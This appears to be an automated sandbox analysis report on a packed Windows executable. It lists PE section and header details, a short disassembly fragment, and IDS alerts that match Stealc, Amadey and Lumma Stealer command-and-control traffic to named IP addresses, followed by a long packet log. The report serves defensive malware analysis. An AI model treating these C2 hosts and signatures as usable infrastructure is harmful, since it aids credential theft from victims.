dec edx
xor bh, byte ptr [edx+56h]
bound eax, dword ptr [edi+66h]
jbe 00007FF40D10E18Ah
dec eax
or eax, 506C720Ah
aaa
xor dword ptr fs:[ebp+62h], ecx
arpl word ptr [esi], si
inc esp
jo 00007FF40D10E1C3h

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	0a4b006f4925cb7b204d59e9c3f07a15	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x2b0	0x200	ecb386604629919a9ed644c5eabdc439	False	0.796875	data	5.990625967357897	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2b3000	0x200	482ef7df42fee6183609085c89955a41	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
udcxivdk	0x4ff000	0x1a6000	0x1a5c00	67e568656cd7b000a8820dd5365468b8	False	0.994900109291642	data	7.955285281860381	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ohgcfufd	0x6a5000	0x1000	0x400	28514f571ee041540351169264400dda	False	0.75	data	6.028722295978687	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x6a6000	0x3000	0x2200	90d8e181f1713ca32afc92106b207551	False	0.3570772058823529	DOS executable (COM)	3.907896771323421	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x6a4910	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-25T12:08:20.122105+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.8	49704	185.215.113.206	80	TCP
2024-11-25T12:08:20.603697+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.8	49704	185.215.113.206	80	TCP
2024-11-25T12:08:20.748963+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.8	49704	TCP
2024-11-25T12:08:21.085349+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.8	49704	185.215.113.206	80	TCP
2024-11-25T12:08:21.318936+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.8	49704	TCP
2024-11-25T12:08:22.539709+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.8	49704	185.215.113.206	80	TCP
2024-11-25T12:08:23.274816+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49704	185.215.113.206	80	TCP
2024-11-25T12:08:45.529530+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49744	185.215.113.206	80	TCP
2024-11-25T12:08:47.519651+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49744	185.215.113.206	80	TCP
2024-11-25T12:08:48.860039+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49744	185.215.113.206	80	TCP
2024-11-25T12:08:49.991577+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49744	185.215.113.206	80	TCP
2024-11-25T12:08:53.605829+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49744	185.215.113.206	80	TCP
2024-11-25T12:08:54.742046+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49744	185.215.113.206	80	TCP
2024-11-25T12:09:00.927176+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49830	185.215.113.16	80	TCP
2024-11-25T12:10:05.824001+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.8	61146	185.215.113.43	80	TCP
2024-11-25T12:10:10.333489+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	61157	31.41.244.11	80	TCP
2024-11-25T12:10:16.152713+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.8	61152	TCP
2024-11-25T12:10:17.333281+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	61175	104.21.88.250	443	TCP
2024-11-25T12:10:17.592877+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.8	61174	185.215.113.43	80	TCP
2024-11-25T12:10:18.020871+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.8	61175	104.21.88.250	443	TCP
2024-11-25T12:10:18.020871+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	61175	104.21.88.250	443	TCP
2024-11-25T12:10:19.151685+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	61180	31.41.244.11	80	TCP
2024-11-25T12:10:19.299000+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	61182	104.21.88.250	443	TCP
2024-11-25T12:10:21.081306+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.8	61182	104.21.88.250	443	TCP
2024-11-25T12:10:21.081306+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	61182	104.21.88.250	443	TCP
2024-11-25T12:10:22.729123+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	61188	104.21.88.250	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 25, 2024 12:08:12.131838083 CET	49676	443	192.168.2.8	52.182.143.211
Nov 25, 2024 12:08:14.756830931 CET	49677	80	192.168.2.8	192.229.211.108
Nov 25, 2024 12:08:16.944252014 CET	49673	443	192.168.2.8	23.206.229.226
Nov 25, 2024 12:08:17.350883007 CET	49672	443	192.168.2.8	23.206.229.226
Nov 25, 2024 12:08:18.148953915 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:18.269144058 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:18.269236088 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:18.269388914 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:18.389019966 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:19.655553102 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:19.655651093 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:19.658701897 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:19.711498022 CET	443	49703	23.206.229.226	192.168.2.8
Nov 25, 2024 12:08:19.711621046 CET	49703	443	192.168.2.8	23.206.229.226
Nov 25, 2024 12:08:19.778259039 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:20.122040033 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:20.122104883 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:20.146229982 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:20.265785933 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:20.603624105 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:20.603667021 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:20.603697062 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:20.603732109 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:20.629431009 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:20.748963118 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:21.085259914 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:21.085278034 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:21.085289955 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:21.085349083 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:21.085349083 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:21.085411072 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:21.085423946 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:21.085436106 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:21.085462093 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:21.085483074 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:21.085510969 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:21.089576960 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:21.318936110 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:21.542272091 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:21.542352915 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:21.560275078 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:21.560312033 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:21.681047916 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:21.681082010 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:21.681217909 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:21.681229115 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:21.681305885 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:21.681315899 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:21.681400061 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:22.539546967 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:22.539709091 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:22.824170113 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:22.943790913 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.274729013 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.274779081 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.274816036 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.274851084 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.278992891 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.279047012 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.279048920 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.279087067 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.284358978 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.284442902 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.284491062 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.284537077 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.292746067 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.292810917 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.292817116 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.292857885 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.301425934 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.301512003 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.301546097 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.301588058 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.310863972 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.310935020 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.310967922 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.311017990 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.404103041 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.404155970 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.404170990 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.404208899 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.408293962 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.408354044 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.408364058 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.408401966 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.416693926 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.416738033 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.416753054 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.416790962 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.425137997 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.425190926 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.425218105 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.425254107 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.433583975 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.433625937 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.476249933 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.476284981 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.476316929 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.476353884 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.478941917 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.478992939 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.479005098 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.479047060 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.487255096 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.487349987 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.487373114 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.487431049 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.495644093 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.495728016 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.495767117 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.495807886 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.504084110 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.504154921 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.504198074 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.504242897 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.512594938 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.512608051 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.512638092 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.512671947 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.521245003 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.521290064 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.521409988 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.521451950 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.529269934 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.529314995 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.533478022 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.533489943 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.533540010 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.533540010 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.537061930 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.537116051 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.537183046 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.537225008 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.544661045 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.544701099 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.544723034 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.544742107 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.552829027 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.552840948 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.552884102 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.552908897 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.559092045 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.559143066 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.605761051 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.605818033 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.605825901 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.605859041 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.607369900 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.607425928 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.607461929 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.607511044 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.614159107 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.614207029 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.614279985 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.614331961 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.621062040 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.621118069 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.621167898 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.621217012 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.627948046 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.628000021 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.628070116 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.628112078 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.634768009 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.634815931 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.634857893 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.634898901 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.641639948 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.641693115 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.641792059 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.641841888 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.648614883 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.648663998 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.648746014 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.648791075 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.655278921 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.655370951 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.655406952 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.655406952 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.661778927 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.661827087 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.677860022 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.677872896 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.677908897 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.677927017 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.679645061 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.679666042 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.679696083 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.679713011 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.683351040 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.683398008 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.683439970 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.683485985 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.686956882 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.687002897 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.687062979 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.687110901 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.690603971 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.690660954 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.690694094 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.690742016 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.694333076 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.694381952 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.694413900 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.694454908 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.697957039 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.697999954 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.698004007 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.698036909 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.701581001 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.701596975 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.701630116 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.701646090 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.705306053 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.705354929 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.705354929 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.705394030 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.708949089 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.708995104 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.709014893 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.709055901 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.712608099 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.712657928 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.712676048 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.712718010 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.716286898 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.716336966 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.716403961 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.716450930 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.719928026 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.719973087 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.740784883 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.740869999 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.740902901 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.740959883 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.742625952 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.742676020 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.742708921 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.742753983 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.746301889 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.746351957 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.806683064 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.806763887 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.806962013 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.808304071 CET	80	49704	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:23.808358908 CET	49704	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:23.808384895 CET	80	49704	185.215.113.206	192.168.2.8
